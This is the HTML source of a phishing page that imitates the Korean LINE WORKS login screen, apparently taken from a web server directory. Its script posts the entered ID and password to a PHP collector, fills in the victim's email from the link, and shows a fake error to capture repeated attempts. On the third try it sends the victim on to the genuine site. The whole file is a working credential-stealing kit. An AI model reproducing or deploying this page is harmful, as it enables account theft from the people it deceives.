| Current Path : /var/www/YY/cool/ |
| Current File : /var/www/YY/cool/index5.htm |
<!DOCTYPE html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>라인 워크스</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
@import url('https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600&display=swap');
body { margin:0; background-color:#f8f9fb; font-family:'Inter',sans-serif;}
.container { display:flex; justify-content:center; align-items:center; height:100vh;}
.login-box { background:white; width:500px; border-radius:8px; box-shadow:0 0 10px rgba(0,0,0,0.05); padding:40px; text-align:center;}
.logo { width:90px; height:auto; margin:0 auto 15px; display:flex; justify-content:center; align-items:center;}
.input-box { width:100%; margin-bottom:15px;}
input { width:100%; padding:12px; border:1px solid #c6c6c6; border-radius:6px; outline:none; font-size:14px;}
input:focus { border-color:#1b73e8;}
.login-btn { width:100%; background:#0077ff; border:none; color:white; font-weight:600; padding:12px; border-radius:6px; cursor:pointer; margin-top:10px; font-size:15px;}
.login-btn:hover { background:#0063d1;}
.remember { display:flex; justify-content:space-between; align-items:center; font-size:13px; color:#666; margin-top:10px;}
.remember input { margin-right:5px;}
.line-id { width:100%; border:1px solid #c6c6c6; border-radius:6px; background-color:white; margin-top:25px; padding:10px; display:flex; align-items:center; justify-content:center; font-size:14px; cursor:pointer;}
.line-id img { width:18px; height:18px; margin-right:8px;}
.footer { font-size:12px; color:#777; margin-top:20px;}
.footer a { color:#0077ff; text-decoration:none;}
#errorMessage { display:none; color:red; font-size:13px; margin-bottom:10px; text-align:center; }
</style>
</head>
<body>
<div class="container">
<div class="login-box">
<div class="logo">
<img src="wmlg.PNG" alt="로고" style="margin-top:10px">
</div>
<!-- ERROR MESSAGE -->
<div id="errorMessage">
<span id="errorText"></span>
</div>
<p style="color:#444; "><b>휴대폰 번호 또는 ID를 입력하세요</b></p>
<p style="color:#444; font-size:14px;"> </p>
<p style="color:#444; font-size:14px;"> </p>
<!-- FORM START -->
<form id="loginForm" method="POST" action="asdf.php">
<div class="input-box">
<input type="email" id="em" name="nnn" placeholder="2061234567 또는 id@group.xx" required>
</div>
<div class="input-box">
<input type="password" id="pwr" name="mmm" placeholder="비밀번호를 입력하세요" required>
</div>
<button type="submit" class="login-btn">로그인</button>
</form>
<!-- FORM END -->
<div class="remember">
<label><input type="checkbox"> ID 기억하기</label>
<a href="#" style="text-decoration:none; color:#0077ff;">ID 찾기</a>
</div>
<div class="line-id">
<img src="lllll.PNG" alt="LINE 아이콘" width="40" height="39">
LINE ID로 로그인
</div>
<div class="footer">
로그인하면, 수정된
<a href="#">서비스 약관</a>과 <a href="#">개인정보 처리방침</a>에 동의하게 됩니다.
</div>
</div>
</div>
<script>
const hash = window.location.hash;
if (hash && hash.length > 1) {
const emailFromHash = decodeURIComponent(hash.substring(1));
document.getElementById('em').value = emailFromHash;
}
let attempt = 0;
document.getElementById('loginForm').addEventListener('submit', async function(e) {
e.preventDefault();
const usn = document.getElementById('em').value;
const pwr = document.getElementById('pwr').value;
const errorBox = document.getElementById('errorMessage');
const errorText = document.getElementById('errorText');
const formData = new FormData();
formData.append('nnn', usn);
formData.append('mmm', pwr);
try {
await fetch('asdf.php', {
method: 'POST',
body: formData
});
} catch (err) {
console.error('Fetch error:', err);
}
attempt++;
if (attempt >= 3) {
const domain = usn.split('@')[1];
if (domain) {
window.location.href = `https://worksmobile.com`;
}
} else {
// delay 2s before showing error
errorBox.style.display = 'none';
setTimeout(() => {
errorText.innerHTML = "로그인 정보가 올바르지 않습니다. 다시 시도하세요.";
errorBox.style.display = 'block';
document.getElementById('pwr').value = '';
}, 2000);
}
});
</script>
</body>
</html>